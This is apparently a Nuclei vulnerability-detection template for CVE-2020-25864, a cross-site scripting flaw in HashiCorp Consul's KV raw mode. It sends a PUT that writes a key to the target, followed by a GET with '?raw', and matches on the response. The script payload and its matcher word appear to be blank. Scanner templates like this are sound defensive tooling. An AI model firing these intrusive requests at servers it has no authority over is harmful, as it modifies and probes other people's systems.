id: CVE-2020-25864
info:
name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
author: c-sh0
severity: medium
description: |
HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14.
reference:
- https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
- https://www.hashicorp.com/blog/category/consul
- https://nvd.nist.gov/vuln/detail/CVE-2020-25864
- https://security.gentoo.org/glsa/202208-09
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-25864
cwe-id: CWE-79
epss-score: 0.00233
epss-percentile: 0.61259
cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*
metadata:
max-request: 2
vendor: hashicorp
product: consul
tags: cve,cve2020,consul,xss,intrusive
http:
- raw:
- |
PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
Host: {{Hostname}}
- |
GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- text/html
- type: word
part: body_2
words:
-
- type: status
status:
- 200
# digest: 490a004630440220385e81b81c3ff6c3b58631b5a3d755baddd15e08dd8dcf6d56b1165a4c43bad002202bd0c939bc41d78d7097c43f0edc5d2d567c6f5e6985ad3b79afa859068fbed1:922c64590222798bb761d5b6d8e72950